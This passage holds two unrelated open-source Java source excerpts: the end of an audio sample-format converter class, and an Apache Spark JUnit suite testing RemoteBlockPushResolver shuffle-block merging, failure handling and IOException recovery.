conv = new AudioFloatConversion16UB();
} else if (format.getSampleSizeInBits() > 16 &&
format.getSampleSizeInBits() <= 24) {
conv = new AudioFloatConversion24UB();
} else if (format.getSampleSizeInBits() > 24 &&
format.getSampleSizeInBits() <= 32) {
conv = new AudioFloatConversion32UB();
} else if (format.getSampleSizeInBits() > 32) {
conv = new AudioFloatConversion32xUB(((
format.getSampleSizeInBits() + 7) / 8) - 4);
}
} else {
if (format.getSampleSizeInBits() <= 8) {
conv = new AudioFloatConversion8U();
} else if (format.getSampleSizeInBits() > 8 &&
format.getSampleSizeInBits() <= 16) {
conv = new AudioFloatConversion16UL();
} else if (format.getSampleSizeInBits() > 16 &&
format.getSampleSizeInBits() <= 24) {
conv = new AudioFloatConversion24UL();
} else if (format.getSampleSizeInBits() > 24 &&
format.getSampleSizeInBits() <= 32) {
conv = new AudioFloatConversion32UL();
} else if (format.getSampleSizeInBits() > 32) {
conv = new AudioFloatConversion32xUL(((
format.getSampleSizeInBits() + 7) / 8) - 4);
}
}
} else if (format.getEncoding().equals(Encoding.PCM_FLOAT)) {
if (format.getSampleSizeInBits() == 32) {
if (format.isBigEndian())
conv = new AudioFloatConversion32B();
else
conv = new AudioFloatConversion32L();
} else if (format.getSampleSizeInBits() == 64) {
if (format.isBigEndian())
conv = new AudioFloatConversion64B();
else
conv = new AudioFloatConversion64L();
}
}
if ((format.getEncoding().equals(Encoding.PCM_SIGNED) ||
format.getEncoding().equals(Encoding.PCM_UNSIGNED)) &&
(format.getSampleSizeInBits() % 8 != 0)) {
conv = new AudioFloatLSBFilter(conv, format);
}
if (conv != null)
conv.format = format;
return conv;
}
private AudioFormat format;
public AudioFormat getFormat() {
return format;
}
public abstract float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_offset, int out_len);
public float[] toFloatArray(byte[] in_buff, float[] out_buff,
int out_offset, int out_len) {
return toFloatArray(in_buff, 0, out_buff, out_offset, out_len);
}
public float[] toFloatArray(byte[] in_buff, int in_offset,
float[] out_buff, int out_len) {
return toFloatArray(in_buff, in_offset, out_buff, 0, out_len);
}
public float[] toFloatArray(byte[] in_buff, float[] out_buff, int out_len) {
return toFloatArray(in_buff, 0, out_buff, 0, out_len);
}
public float[] toFloatArray(byte[] in_buff, float[] out_buff) {
return toFloatArray(in_buff, 0, out_buff, 0, out_buff.length);
}
public abstract byte[] toByteArray(float[] in_buff, int in_offset,
int in_len, byte[] out_buff, int out_offset);
public byte[] toByteArray(float[] in_buff, int in_len, byte[] out_buff,
int out_offset) {
return toByteArray(in_buff, 0, in_len, out_buff, out_offset);
}
public byte[] toByteArray(float[] in_buff, int in_offset, int in_len,
byte[] out_buff) {
return toByteArray(in_buff, in_offset, in_len, out_buff, 0);
}
public byte[] toByteArray(float[] in_buff, int in_len, byte[] out_buff) {
return toByteArray(in_buff, 0, in_len, out_buff, 0);
}
public byte[] toByteArray(float[] in_buff, byte[] out_buff) {
return toByteArray(in_buff, 0, in_buff.length, out_buff, 0);
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.spark.network.shuffle;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.concurrent.Semaphore;
import com.google.common.base.Throwables;
import com.google.common.collect.ImmutableMap;
import org.apache.commons.io.FileUtils;
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.roaringbitmap.RoaringBitmap;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import static org.junit.Assert.*;
import org.apache.spark.network.buffer.FileSegmentManagedBuffer;
import org.apache.spark.network.client.StreamCallbackWithID;
import org.apache.spark.network.shuffle.RemoteBlockPushResolver.MergeShuffleFile;
import org.apache.spark.network.shuffle.protocol.ExecutorShuffleInfo;
import org.apache.spark.network.shuffle.protocol.FinalizeShuffleMerge;
import org.apache.spark.network.shuffle.protocol.MergeStatuses;
import org.apache.spark.network.shuffle.protocol.PushBlockStream;
import org.apache.spark.network.util.MapConfigProvider;
import org.apache.spark.network.util.TransportConf;
/**
* Tests for {@link RemoteBlockPushResolver}.
*/
public class RemoteBlockPushResolverSuite {
private static final Logger log = LoggerFactory.getLogger(RemoteBlockPushResolverSuite.class);
private final String TEST_APP = "testApp";
private final String BLOCK_MANAGER_DIR = "blockmgr-193d8401";
private TransportConf conf;
private RemoteBlockPushResolver pushResolver;
private Path[] localDirs;
@Before
public void before() throws IOException {
localDirs = createLocalDirs(2);
MapConfigProvider provider = new MapConfigProvider(
ImmutableMap.of("spark.shuffle.server.minChunkSizeInMergedShuffleFile", "4"));
conf = new TransportConf("shuffle", provider);
pushResolver = new RemoteBlockPushResolver(conf);
registerExecutor(TEST_APP, prepareLocalDirs(localDirs));
}
@After
public void after() {
try {
for (Path local : localDirs) {
FileUtils.deleteDirectory(local.toFile());
}
removeApplication(TEST_APP);
} catch (Exception e) {
// don't fail if clean up doesn't succeed.
log.debug("Error while tearing down", e);
}
}
@Test(expected = RuntimeException.class)
public void testNoIndexFile() {
try {
pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
} catch (Throwable t) {
assertTrue(t.getMessage().startsWith("Merged shuffle index file"));
Throwables.propagate(t);
}
}
@Test
public void testBasicBlockMerge() throws IOException {
PushBlock[] pushBlocks = new PushBlock[] {
new PushBlock(0, 0, 0, ByteBuffer.wrap(new byte[4])),
new PushBlock(0, 1, 0, ByteBuffer.wrap(new byte[5]))
};
pushBlockHelper(TEST_APP, pushBlocks);
MergeStatuses statuses = pushResolver.finalizeShuffleMerge(
new FinalizeShuffleMerge(TEST_APP, 0));
validateMergeStatuses(statuses, new int[] {0}, new long[] {9});
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[]{4, 5}, new int[][]{{0}, {1}});
}
@Test
public void testDividingMergedBlocksIntoChunks() throws IOException {
PushBlock[] pushBlocks = new PushBlock[] {
new PushBlock(0, 0, 0, ByteBuffer.wrap(new byte[2])),
new PushBlock(0, 1, 0, ByteBuffer.wrap(new byte[3])),
new PushBlock(0, 2, 0, ByteBuffer.wrap(new byte[5])),
new PushBlock(0, 3, 0, ByteBuffer.wrap(new byte[3]))
};
pushBlockHelper(TEST_APP, pushBlocks);
MergeStatuses statuses = pushResolver.finalizeShuffleMerge(
new FinalizeShuffleMerge(TEST_APP, 0));
validateMergeStatuses(statuses, new int[] {0}, new long[] {13});
MergedBlockMeta meta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, meta, new int[]{5, 5, 3}, new int[][]{{0, 1}, {2}, {3}});
}
@Test
public void testFinalizeWithMultipleReducePartitions() throws IOException {
PushBlock[] pushBlocks = new PushBlock[] {
new PushBlock(0, 0, 0, ByteBuffer.wrap(new byte[2])),
new PushBlock(0, 1, 0, ByteBuffer.wrap(new byte[3])),
new PushBlock(0, 0, 1, ByteBuffer.wrap(new byte[5])),
new PushBlock(0, 1, 1, ByteBuffer.wrap(new byte[3]))
};
pushBlockHelper(TEST_APP, pushBlocks);
MergeStatuses statuses = pushResolver.finalizeShuffleMerge(
new FinalizeShuffleMerge(TEST_APP, 0));
validateMergeStatuses(statuses, new int[] {0, 1}, new long[] {5, 8});
MergedBlockMeta meta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, meta, new int[]{5}, new int[][]{{0, 1}});
}
@Test
public void testDeferredBufsAreWrittenDuringOnData() throws IOException {
StreamCallbackWithID stream1 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
StreamCallbackWithID stream2 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 1, 0, 0));
// This should be deferred
stream2.onData(stream2.getID(), ByteBuffer.wrap(new byte[3]));
// stream 1 now completes
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
stream1.onComplete(stream1.getID());
// stream 2 has more data and then completes
stream2.onData(stream2.getID(), ByteBuffer.wrap(new byte[3]));
stream2.onComplete(stream2.getID());
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(TEST_APP, 0));
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[]{4, 6}, new int[][]{{0}, {1}});
}
@Test
public void testDeferredBufsAreWrittenDuringOnComplete() throws IOException {
StreamCallbackWithID stream1 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
StreamCallbackWithID stream2 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 1, 0, 0));
// This should be deferred
stream2.onData(stream2.getID(), ByteBuffer.wrap(new byte[3]));
stream2.onData(stream2.getID(), ByteBuffer.wrap(new byte[3]));
// stream 1 now completes
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
stream1.onComplete(stream1.getID());
// stream 2 now completes completes
stream2.onComplete(stream2.getID());
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(TEST_APP, 0));
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[]{4, 6}, new int[][]{{0}, {1}});
}
@Test
public void testDuplicateBlocksAreIgnoredWhenPrevStreamHasCompleted() throws IOException {
StreamCallbackWithID stream1 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
stream1.onComplete(stream1.getID());
StreamCallbackWithID stream2 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
// This should be ignored
stream2.onData(stream2.getID(), ByteBuffer.wrap(new byte[2]));
stream2.onData(stream2.getID(), ByteBuffer.wrap(new byte[2]));
stream2.onComplete(stream2.getID());
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(TEST_APP, 0));
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[]{4}, new int[][]{{0}});
}
@Test
public void testDuplicateBlocksAreIgnoredWhenPrevStreamIsInProgress() throws IOException {
StreamCallbackWithID stream1 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
StreamCallbackWithID stream2 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
// This should be ignored
stream2.onData(stream2.getID(), ByteBuffer.wrap(new byte[2]));
stream2.onData(stream2.getID(), ByteBuffer.wrap(new byte[2]));
// stream 1 now completes
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
stream1.onComplete(stream1.getID());
// stream 2 now completes completes
stream2.onComplete(stream2.getID());
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(TEST_APP, 0));
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[]{4}, new int[][]{{0}});
}
@Test
public void testFailureAfterData() throws IOException {
StreamCallbackWithID stream =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
stream.onData(stream.getID(), ByteBuffer.wrap(new byte[4]));
stream.onFailure(stream.getID(), new RuntimeException("Forced Failure"));
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(TEST_APP, 0));
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
assertEquals("num-chunks", 0, blockMeta.getNumChunks());
}
@Test
public void testFailureAfterMultipleDataBlocks() throws IOException {
StreamCallbackWithID stream =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
stream.onData(stream.getID(), ByteBuffer.wrap(new byte[2]));
stream.onData(stream.getID(), ByteBuffer.wrap(new byte[3]));
stream.onData(stream.getID(), ByteBuffer.wrap(new byte[4]));
stream.onFailure(stream.getID(), new RuntimeException("Forced Failure"));
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(TEST_APP, 0));
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
assertEquals("num-chunks", 0, blockMeta.getNumChunks());
}
@Test
public void testFailureAfterComplete() throws IOException {
StreamCallbackWithID stream =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
stream.onData(stream.getID(), ByteBuffer.wrap(new byte[2]));
stream.onData(stream.getID(), ByteBuffer.wrap(new byte[3]));
stream.onData(stream.getID(), ByteBuffer.wrap(new byte[4]));
stream.onComplete(stream.getID());
stream.onFailure(stream.getID(), new RuntimeException("Forced Failure"));
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(TEST_APP, 0));
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[]{9}, new int[][]{{0}});
}
@Test (expected = RuntimeException.class)
public void testTooLateArrival() throws IOException {
ByteBuffer[] blocks = new ByteBuffer[]{
ByteBuffer.wrap(new byte[4]),
ByteBuffer.wrap(new byte[5])
};
StreamCallbackWithID stream = pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 0, 0, 0));
for (ByteBuffer block : blocks) {
stream.onData(stream.getID(), block);
}
stream.onComplete(stream.getID());
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(TEST_APP, 0));
StreamCallbackWithID stream1 = pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 1, 0, 0));
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[4]));
try {
stream1.onComplete(stream1.getID());
} catch (RuntimeException re) {
assertEquals(
"Block shufflePush_0_1_0 received after merged shuffle is finalized",
re.getMessage());
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[]{9}, new int[][]{{0}});
throw re;
}
}
@Test
public void testIncompleteStreamsAreOverwritten() throws IOException {
registerExecutor(TEST_APP, prepareLocalDirs(localDirs));
StreamCallbackWithID stream1 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[4]));
// There is a failure
stream1.onFailure(stream1.getID(), new RuntimeException("forced error"));
StreamCallbackWithID stream2 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 1, 0, 0));
stream2.onData(stream2.getID(), ByteBuffer.wrap(new byte[5]));
stream2.onComplete(stream2.getID());
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(TEST_APP, 0));
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[]{5}, new int[][]{{1}});
}
@Test (expected = RuntimeException.class)
public void testCollision() throws IOException {
StreamCallbackWithID stream1 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
StreamCallbackWithID stream2 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 1, 0, 0));
// This should be deferred
stream2.onData(stream2.getID(), ByteBuffer.wrap(new byte[5]));
// Since stream2 didn't get any opportunity it will throw couldn't find opportunity error
try {
stream2.onComplete(stream2.getID());
} catch (RuntimeException re) {
assertEquals(
"Couldn't find an opportunity to write block shufflePush_0_1_0 to merged shuffle",
re.getMessage());
throw re;
}
}
@Test (expected = RuntimeException.class)
public void testFailureInAStreamDoesNotInterfereWithStreamWhichIsWriting() throws IOException {
StreamCallbackWithID stream1 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 0, 0, 0));
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
StreamCallbackWithID stream2 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 1, 0, 0));
// There is a failure with stream2
stream2.onFailure(stream2.getID(), new RuntimeException("forced error"));
StreamCallbackWithID stream3 =
pushResolver.receiveBlockDataAsStream(new PushBlockStream(TEST_APP, 0, 2, 0, 0));
// This should be deferred
stream3.onData(stream3.getID(), ByteBuffer.wrap(new byte[5]));
// Since this stream didn't get any opportunity it will throw couldn't find opportunity error
RuntimeException failedEx = null;
try {
stream3.onComplete(stream3.getID());
} catch (RuntimeException re) {
assertEquals(
"Couldn't find an opportunity to write block shufflePush_0_2_0 to merged shuffle",
re.getMessage());
failedEx = re;
}
// stream 1 now completes
stream1.onData(stream1.getID(), ByteBuffer.wrap(new byte[2]));
stream1.onComplete(stream1.getID());
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(TEST_APP, 0));
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[] {4}, new int[][] {{0}});
if (failedEx != null) {
throw failedEx;
}
}
@Test(expected = NullPointerException.class)
public void testUpdateLocalDirsOnlyOnce() throws IOException {
String testApp = "updateLocalDirsOnlyOnceTest";
Path[] activeLocalDirs = createLocalDirs(1);
registerExecutor(testApp, prepareLocalDirs(activeLocalDirs));
assertEquals(pushResolver.getMergedBlockDirs(testApp).length, 1);
assertTrue(pushResolver.getMergedBlockDirs(testApp)[0].contains(
activeLocalDirs[0].toFile().getPath()));
// Any later executor register from the same application should not change the active local
// dirs list
Path[] updatedLocalDirs = localDirs;
registerExecutor(testApp, prepareLocalDirs(updatedLocalDirs));
assertEquals(pushResolver.getMergedBlockDirs(testApp).length, 1);
assertTrue(pushResolver.getMergedBlockDirs(testApp)[0].contains(
activeLocalDirs[0].toFile().getPath()));
removeApplication(testApp);
try {
pushResolver.getMergedBlockDirs(testApp);
} catch (Throwable e) {
assertTrue(e.getMessage()
.startsWith("application " + testApp + " is not registered or NM was restarted."));
Throwables.propagate(e);
}
}
@Test
public void testCleanUpDirectory() throws IOException, InterruptedException {
String testApp = "cleanUpDirectory";
Semaphore deleted = new Semaphore(0);
pushResolver = new RemoteBlockPushResolver(conf) {
@Override
void deleteExecutorDirs(Path[] dirs) {
super.deleteExecutorDirs(dirs);
deleted.release();
}
};
Path[] activeDirs = createLocalDirs(1);
registerExecutor(testApp, prepareLocalDirs(activeDirs));
PushBlock[] pushBlocks = new PushBlock[] {
new PushBlock(0, 0, 0, ByteBuffer.wrap(new byte[4]))};
pushBlockHelper(testApp, pushBlocks);
pushResolver.finalizeShuffleMerge(new FinalizeShuffleMerge(testApp, 0));
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(testApp, 0, 0);
validateChunks(testApp, 0, 0, blockMeta, new int[]{4}, new int[][]{{0}});
String[] mergeDirs = pushResolver.getMergedBlockDirs(testApp);
pushResolver.applicationRemoved(testApp, true);
// Since the cleanup happen in a different thread, check few times to see if the merge dirs gets
// deleted.
deleted.acquire();
for (String mergeDir : mergeDirs) {
Assert.assertFalse(Files.exists(Paths.get(mergeDir)));
}
}
@Test
public void testRecoverIndexFileAfterIOExceptions() throws IOException {
useTestFiles(true, false);
RemoteBlockPushResolver.PushBlockStreamCallback callback1 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 0, 0, 0));
callback1.onData(callback1.getID(), ByteBuffer.wrap(new byte[4]));
callback1.onComplete(callback1.getID());
RemoteBlockPushResolver.AppShufflePartitionInfo partitionInfo = callback1.getPartitionInfo();
// Close the index stream so it throws IOException
TestMergeShuffleFile testIndexFile = (TestMergeShuffleFile) partitionInfo.getIndexFile();
testIndexFile.close();
StreamCallbackWithID callback2 = pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 1, 0, 0));
callback2.onData(callback2.getID(), ByteBuffer.wrap(new byte[5]));
// This will complete without any IOExceptions because number of IOExceptions are less than
// the threshold but the update to index file will be unsuccessful.
callback2.onComplete(callback2.getID());
assertEquals("index position", 16, testIndexFile.getPos());
// Restore the index stream so it can write successfully again.
testIndexFile.restore();
StreamCallbackWithID callback3 = pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 2, 0, 0));
callback3.onData(callback3.getID(), ByteBuffer.wrap(new byte[2]));
callback3.onComplete(callback3.getID());
assertEquals("index position", 24, testIndexFile.getPos());
MergeStatuses statuses = pushResolver.finalizeShuffleMerge(
new FinalizeShuffleMerge(TEST_APP, 0));
validateMergeStatuses(statuses, new int[] {0}, new long[] {11});
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[] {4, 7}, new int[][] {{0}, {1, 2}});
}
@Test
public void testRecoverIndexFileAfterIOExceptionsInFinalize() throws IOException {
useTestFiles(true, false);
RemoteBlockPushResolver.PushBlockStreamCallback callback1 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 0, 0, 0));
callback1.onData(callback1.getID(), ByteBuffer.wrap(new byte[4]));
callback1.onComplete(callback1.getID());
RemoteBlockPushResolver.AppShufflePartitionInfo partitionInfo = callback1.getPartitionInfo();
// Close the index stream so it throws IOException
TestMergeShuffleFile testIndexFile = (TestMergeShuffleFile) partitionInfo.getIndexFile();
testIndexFile.close();
StreamCallbackWithID callback2 = pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 1, 0, 0));
callback2.onData(callback2.getID(), ByteBuffer.wrap(new byte[5]));
// This will complete without any IOExceptions because number of IOExceptions are less than
// the threshold but the update to index file will be unsuccessful.
callback2.onComplete(callback2.getID());
assertEquals("index position", 16, testIndexFile.getPos());
// The last update to index was unsuccessful however any further updates will be successful.
// Restore the index stream so it can write successfully again.
testIndexFile.restore();
MergeStatuses statuses = pushResolver.finalizeShuffleMerge(
new FinalizeShuffleMerge(TEST_APP, 0));
assertEquals("index position", 24, testIndexFile.getPos());
validateMergeStatuses(statuses, new int[] {0}, new long[] {9});
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[] {4, 5}, new int[][] {{0}, {1}});
}
@Test
public void testRecoverMetaFileAfterIOExceptions() throws IOException {
useTestFiles(false, true);
RemoteBlockPushResolver.PushBlockStreamCallback callback1 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 0, 0, 0));
callback1.onData(callback1.getID(), ByteBuffer.wrap(new byte[4]));
callback1.onComplete(callback1.getID());
RemoteBlockPushResolver.AppShufflePartitionInfo partitionInfo = callback1.getPartitionInfo();
// Close the meta stream so it throws IOException
TestMergeShuffleFile testMetaFile = (TestMergeShuffleFile) partitionInfo.getMetaFile();
long metaPosBeforeClose = testMetaFile.getPos();
testMetaFile.close();
StreamCallbackWithID callback2 = pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 1, 0, 0));
callback2.onData(callback2.getID(), ByteBuffer.wrap(new byte[5]));
// This will complete without any IOExceptions because number of IOExceptions are less than
// the threshold but the update to index and meta file will be unsuccessful.
callback2.onComplete(callback2.getID());
assertEquals("index position", 16, partitionInfo.getIndexFile().getPos());
assertEquals("meta position", metaPosBeforeClose, testMetaFile.getPos());
// Restore the meta stream so it can write successfully again.
testMetaFile.restore();
StreamCallbackWithID callback3 = pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 2, 0, 0));
callback3.onData(callback3.getID(), ByteBuffer.wrap(new byte[2]));
callback3.onComplete(callback3.getID());
assertEquals("index position", 24, partitionInfo.getIndexFile().getPos());
assertTrue("meta position", testMetaFile.getPos() > metaPosBeforeClose);
MergeStatuses statuses = pushResolver.finalizeShuffleMerge(
new FinalizeShuffleMerge(TEST_APP, 0));
validateMergeStatuses(statuses, new int[] {0}, new long[] {11});
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[] {4, 7}, new int[][] {{0}, {1, 2}});
}
@Test
public void testRecoverMetaFileAfterIOExceptionsInFinalize() throws IOException {
useTestFiles(false, true);
RemoteBlockPushResolver.PushBlockStreamCallback callback1 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 0, 0, 0));
callback1.onData(callback1.getID(), ByteBuffer.wrap(new byte[4]));
callback1.onComplete(callback1.getID());
RemoteBlockPushResolver.AppShufflePartitionInfo partitionInfo = callback1.getPartitionInfo();
// Close the meta stream so it throws IOException
TestMergeShuffleFile testMetaFile = (TestMergeShuffleFile) partitionInfo.getMetaFile();
long metaPosBeforeClose = testMetaFile.getPos();
testMetaFile.close();
StreamCallbackWithID callback2 = pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 1, 0, 0));
callback2.onData(callback2.getID(), ByteBuffer.wrap(new byte[5]));
// This will complete without any IOExceptions because number of IOExceptions are less than
// the threshold but the update to index and meta file will be unsuccessful.
callback2.onComplete(callback2.getID());
MergeShuffleFile indexFile = partitionInfo.getIndexFile();
assertEquals("index position", 16, indexFile.getPos());
assertEquals("meta position", metaPosBeforeClose, testMetaFile.getPos());
// Restore the meta stream so it can write successfully again.
testMetaFile.restore();
MergeStatuses statuses = pushResolver.finalizeShuffleMerge(
new FinalizeShuffleMerge(TEST_APP, 0));
assertEquals("index position", 24, indexFile.getPos());
assertTrue("meta position", testMetaFile.getPos() > metaPosBeforeClose);
validateMergeStatuses(statuses, new int[] {0}, new long[] {9});
MergedBlockMeta blockMeta = pushResolver.getMergedBlockMeta(TEST_APP, 0, 0);
validateChunks(TEST_APP, 0, 0, blockMeta, new int[] {4, 5}, new int[][] {{0}, {1}});
}
@Test (expected = RuntimeException.class)
public void testIOExceptionsExceededThreshold() throws IOException {
RemoteBlockPushResolver.PushBlockStreamCallback callback =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 0, 0, 0));
RemoteBlockPushResolver.AppShufflePartitionInfo partitionInfo = callback.getPartitionInfo();
callback.onData(callback.getID(), ByteBuffer.wrap(new byte[4]));
callback.onComplete(callback.getID());
// Close the data stream so it throws continuous IOException
partitionInfo.getDataChannel().close();
for (int i = 1; i < 5; i++) {
RemoteBlockPushResolver.PushBlockStreamCallback callback1 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, i, 0, 0));
try {
callback1.onData(callback1.getID(), ByteBuffer.wrap(new byte[2]));
} catch (IOException ioe) {
// this will throw IOException so the client can retry.
callback1.onFailure(callback1.getID(), ioe);
}
}
assertEquals(4, partitionInfo.getNumIOExceptions());
// After 4 IOException, the server will respond with IOExceptions exceeded threshold
try {
RemoteBlockPushResolver.PushBlockStreamCallback callback2 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 5, 0, 0));
callback2.onData(callback.getID(), ByteBuffer.wrap(new byte[1]));
} catch (Throwable t) {
assertEquals("IOExceptions exceeded the threshold when merging shufflePush_0_5_0",
t.getMessage());
throw t;
}
}
@Test (expected = RuntimeException.class)
public void testIOExceptionsDuringMetaUpdateIncreasesExceptionCount() throws IOException {
useTestFiles(true, false);
RemoteBlockPushResolver.PushBlockStreamCallback callback =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, 0, 0, 0));
RemoteBlockPushResolver.AppShufflePartitionInfo partitionInfo = callback.getPartitionInfo();
callback.onData(callback.getID(), ByteBuffer.wrap(new byte[4]));
callback.onComplete(callback.getID());
TestMergeShuffleFile testIndexFile = (TestMergeShuffleFile) partitionInfo.getIndexFile();
testIndexFile.close();
for (int i = 1; i < 5; i++) {
RemoteBlockPushResolver.PushBlockStreamCallback callback1 =
(RemoteBlockPushResolver.PushBlockStreamCallback) pushResolver.receiveBlockDataAsStream(
new PushBlockStream(TEST_APP, 0, i, 0, 0));
callback1.onData(callback1.getID(), ByteBuffer.wrap(new byte[5]));
// This will complete without any exceptions but the exception count is increased.
callback1.onComplete(callback1.getID());
}
assertEquals(4, partitionInfo.getNumIOExceptions());
